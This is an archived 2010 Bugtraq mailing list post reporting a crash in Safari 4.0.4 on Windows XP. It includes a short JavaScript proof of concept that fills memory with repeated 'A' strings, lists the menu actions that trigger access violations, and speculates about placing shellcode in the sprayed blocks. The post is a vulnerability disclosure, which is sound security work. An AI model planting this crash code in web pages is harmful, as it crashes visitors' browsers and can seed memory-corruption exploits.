lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sun, 24 Jan 2010 12:22:24 -0700
From: systemx00@...il.com
To: bugtraq@...urityfocus.com
Subject: Safari 4.0.4 Crash

The following piece of javascript will crash Safari nicely when triggered using one of the methods described below.  With my limited knowledge I am unable to tell if it's exploitable or not.  I therefore turn it over to "the internet".  (tested on Safari 4.0.4, Win XP Pro SP3)

============================

<script>
var data = "A";
while(data.length<0x40000){
data += data;
}
data2 = new Array();
for (x=0; x<4000; x++){
data2[x] = data+data;
}
</script>

============================

The crash is not immediate, but there are actually two ways to trigger it and I believe they are separate problems.

The following will cause Safari to crash with “Access violation reading [00000000]”.

    * Window->Activity

Whereas these will crash Safari with “Access violation writing to [BBADBEEF]”

    * Develop->Start Debugging Javascript
    * Develop->Show Error Console (Unreliable)
    * Develop->Show Web Inspector (Unreliable)
    * (Right Click)->Inspect Element

I can’t seem to affect any registers in an advantageous way but I do see several pointers to \x41 blocks on the stack.  At least you could put shellcode in these and jump to them if you could control EIP.  If anyone is able to do anything with this, please let me know.

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux - Powered by OpenVZ